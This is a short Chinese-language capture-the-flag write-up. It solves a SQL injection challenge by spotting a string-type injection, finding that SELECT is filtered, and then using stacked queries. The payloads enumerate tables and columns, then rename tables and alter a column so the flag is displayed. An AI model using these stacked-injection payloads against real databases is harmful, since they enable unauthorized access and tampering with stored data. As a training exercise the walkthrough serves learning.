打开:
判断是数字型注入还是字符型注入:
2-1查询不同,可知非数字型
1和1a的查询效果一致,判断是字符型注入,sql语句中对查询的id应该是用单引号’包起来的。
比如,select id from xx where id = '1';
输入select,回显发现有关键字绕过!
那么联合查询,报错注入,布尔,时间盲注都无法使用了,我们还剩下堆叠注入。
先尝试使用堆叠注入:
1.1’ show tables;#
发现有两张表。
2.
1’; show columns from
words
;#
(words用`号包裹)
0’; show columns from
1919810931114514
;#
(同样用`包裹)
只查到了一个表flag
3. 我们可以得知原sql语句,应该是查words表的id和data。
select id,data from words where id =
所以接下来我们应该如何查1919810931114514表的flag属性呢???
思路:
- 将word表改成word2
- 将1919810931114514表改成word表
- 将属性名flag改成id,然后用1’ or 1=1;# 显示flag出来
payload:
1';rename table `words` to word2;
rename table `1919810931114514` to words;
alter table words change flag id varchar(100);
改完后,再查,即可获得flag